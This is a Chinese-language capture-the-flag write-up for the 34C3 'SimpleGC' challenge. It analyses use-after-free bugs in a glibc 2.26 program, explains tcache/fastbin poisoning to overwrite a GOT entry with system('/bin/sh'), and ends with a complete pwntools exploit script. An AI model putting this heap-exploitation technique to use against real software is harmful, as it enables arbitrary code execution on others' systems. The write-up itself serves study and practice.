34c3 ctf simpleGC writeup

一道glibc 2.26堆利用的题目

题目链接:https://github.com/Hcamael/CTF_repo/tree/master/34c3ctf%202017/SimpleGC

部署调试环境

本题的libc给的是2.26版本的,测试系统用的是ubuntu16.04,libc版本为2.24,得知2.24-2.26在堆管理这块更新了一些机制,所以不能用本地的libc进行测试

这个可以使用:

  1. LD_PRELOAD=./libc-2.26.so 来指定libc库
  2. 自己编译一份2.26的libc

因为目前没发现有使用glibc 2.26的linux系统,所以只有上面两种方法

分析漏洞

sub_40131B函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
edit_group()
{
int v1;
group_heap *v2;
char nptr;
char v4;
unsigned __int64 v5;
printf("Enter index: ");
read_len((__int64)&nptr, 4uLL);
v1 = atoi(&nptr);
if ( database[v1] )
{
printf("Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): ");
read_len((__int64)&nptr, 2uLL);
printf("Enter new group name: ");
if ( nptr == 'y' )
{
read_len(database[v1]->group, 0x18uLL);
}
else
{
read_len((__int64)&v4, 0x18uLL);
v2 = add_group_number(&v4);
if ( v2 )
database[v1]->group = v2->group;
else
database[v1]->group = _store_group((__int64)&v4)->group;
}
}
}

在这个函数中有两个漏洞,一个输入的v1未经检查,可以造成数组越界的问题

另外一个就是当输入n的时候,会重新增加一个group,然后把当前user的group指向新的group,而当前group的计数位不会减1,这就会导致一个情况,可以让一个group的计数位增加到0x100

再看另一个线程执行的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
start_routine()
{
unsigned int i;
sleep(1u);
while ( 1 )
{
for ( i = 0; i <= 0x5F; ++i )
{
if ( group_database[i] )
{
if ( !LOBYTE(group_database[i]->number) )
{
free((void *)group_database[i]->group);
free(group_database[i]);
group_database[i] = 0LL;
}
}
}
sleep(0);
}
}

这个函数是本题的关键函数,属于自己使用代码实现的垃圾回收机制,当group的计数位为0的时候,则表示该group没有user使用,所以进行两个free操作,因为取的是计数位的一个字节,所以如果计数位为0x100,则判断为0,进行free操作,这样将会造成uaf漏洞,释放后的堆还能被使用。

但是这个漏洞的利用太麻烦了,下面,还有一个更容易利用的漏洞

sub_4011c4函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
delete_user()
{
unsigned int v1;
char nptr;
unsigned __int64 v3;
printf("Enter index: ");
read_len((__int64)&nptr, 4uLL);
v1 = atoi(&nptr);
if ( v1 <= 0x5F )
{
if ( database[v1] )
{
sub_401139((const char *)database[v1]->group);
free(database[v1]);
database[v1] = 0LL;
}
}
else
{
puts("invalid index");
}
}

在该函数中调用了sub_401139函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
sub_401139(const char *a1)
{
unsigned __int16 i;
for ( i = 0; i <= 0x5Fu; ++i )
{
if ( group_database[i] && !strcmp(a1, (const char *)group_database[i]->group) )
{
if ( LOBYTE(group_database[i]->number) )
--LOBYTE(group_database[i]->number);
}
}
}

该函数的目的是,传入被删除的user的group_name,然后到group数据库中去查找是该名字的group,把计数位减1

正常情况下看这逻辑是没问题的,因为无法创建两个同名的group

但是在edit_group函数中,如果输入y的情况下,我们能对group_name进行修改,这样就能导致A和B两个group重名,group_name都为test1,这样在删除的情况下,两个group的计数位都会进行自减1,最后导致uaf漏洞

利用

使用上述第二个漏洞进行利用

首先增加6个不同group

Name Group_name Age
a b 0
a bb 0
a bbb 0
a bbbb 0
a bbbbb 0
a bbbbbb 0

然后修改第5个group的group_namebbbbbb和第六个同名

然后我在delete前5个user

这样在主线程中,一个free了5个size=0x21的fastbin,将放入tcache中

然后在子线程中,一个group free了两个size=0x21的fastbin,将放入tcache

不同线程中,tcache的储存位置不同,tcache的一个size一共能储存最多8个该size的chunk,当tcache满了以后,将会放入fastbin中

所以在这一波骚操作以后,主线程的tcache中,一个有5个size=0x21的chunk

而在子线程中,tcache已经被存满了8个size=0x21的chunk

在第5个user被delete的时候,因为第五个user的group_name已经被修改为和第六个user的group_name重名,所以两个group的计数位皆会自减1,然后在子线程中被free,因为这时候该size的tcache中已被填满,所以被free的chunk将会被放入fastbin中,0x20的fastbin将会有4个

这个时候第6个user还存在,但是其group却被free,这造成了uaf漏洞,如果我们输出该user的信息,在group字段后面将会输出fastbin单链表中的fd地址信息,可以计算出堆地址(但是对本题没啥用)

因为第6个user并没有被delete,所以我们仍然能使用edit_group对其的group_name进行修改, 但是因为存储group_name的chunk已经被free,所以我们可以修改该fastbin的fd

修改到地址: 0x6020E0

该地址是user的指针数组,我们把该地址-0x10改写到fastbin的fd中去

然后通过edit_group函数,输入n,进行新建group,首先新建两个group,从tcache中拿出去了4个chunk,因为在主线程中,tcache只有5个chunk,所以再次新建一个group,则会从tcache中拿出最后一个chunk,然后把fastbin中的chunk放入tcache中去,再获取一个chunk

这个时候tcache中size=0x21的chunk指针指向的是(0x6020E0-0x10)

所以我们再次新建一个group,用于储存group_name的chunk的返回地址就是0x6020E0

这样我们就能在0x6020E0地址开始任意写入0x18byte的数据

/bin/sh\0
0x6020E0
free_got

把上述数据写入0x6020E0地址后,user[1]指向的就是地址0x6020E0,看起结构体组成:

1
2
3
4
5
database_heap struc ;
age dq ?
name dq ?
group dq ?
database_heap ends

首先是age,然后是指向name的地址,然后是指向group的地址,当我们输出user1时,在group字段将会输出free_got地址的值,这样就能计算出libc的基地址,从而算出system的地址

我们再把free_got的地址改成system的地址

当我们delete user1时,调用的是free(0x6020E0),而实际调用的是system("/bin/sh"),从而达到getshell的目的

附上完整payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
# context.log_level = "debug"
def addUser(name, group, age):
r.sendlineafter("Action:", "0")
r.sendlineafter("name:", name)
r.sendlineafter("group:", group)
r.sendlineafter("age:", str(age))
def displayGroup(groupName):
r.sendlineafter("Action:", "1")
r.sendlineafter("name:", groupName)
def displayUser(idx):
r.sendlineafter("Action:", "2")
r.sendlineafter("index:", str(idx))
r.recvuntil("Group: ")
return r.readline().strip()
def editGroup(idx, propogate, groupName):
r.sendlineafter("Action:", "3")
r.sendlineafter("index:", str(idx))
r.sendlineafter("(y/n):", propogate)
r.sendlineafter("name:", groupName)
def deleteUser(idx):
r.sendlineafter("Action:", "4")
r.sendlineafter("index:", str(idx))
userArr = 0x6020e0
free_got = 0x602018
r = process(['/opt/libc-2.26/lib/ld-linux-x86-64.so.2', '--library-path', '/opt/libc-2.26/lib/', './sgc'])
e = ELF("/opt/libc-2.26/lib/libc-2.26.so")
for i in range(9):
addUser("A", "B"*i, 0)
editGroup(4,"y","B"*5)
# raw_input()
for i in range(5):
deleteUser(i)
sleep(1)
heap_base = u64(displayUser(5).ljust(8, '\0')) - 0x590
log.success("heap_base at: "+hex(heap_base))
editGroup(5,"y", p64(userArr-0x10))
# raw_input()
editGroup(5, "n", "1-2")
editGroup(5, "n", "3-4")
editGroup(5, "n", "5-fastbin1")
payload = "/bin/sh\0"
payload += p64(userArr)
payload += p64(free_got)
editGroup(5, "n", payload)
# raw_input()
libc_free = u64(displayUser(1).ljust(8, '\0'))
libc_base = libc_free - e.symbols["free"]
log.success("libc_base at: "+hex(libc_base))
system_add = libc_base + e.symbols["system"]
editGroup(1, "y", p64(system_add))
raw_input()
deleteUser(1)
r.interactive()

该题中tcache的相关细节我没有细说,因为打算写一篇是专门研究tcache机制的博文

参考链接

  1. http://blog.rh0gue.com/2018-01-05-34c3ctf-simplegc/
  2. http://tukan.farm/2017/07/08/tcache/
文章目录
  1. 1. 部署调试环境
  2. 2. 分析漏洞
    1. 2.1. sub_40131B函数
    2. 2.2. sub_4011c4函数
  3. 3. 利用
  4. 4. 参考链接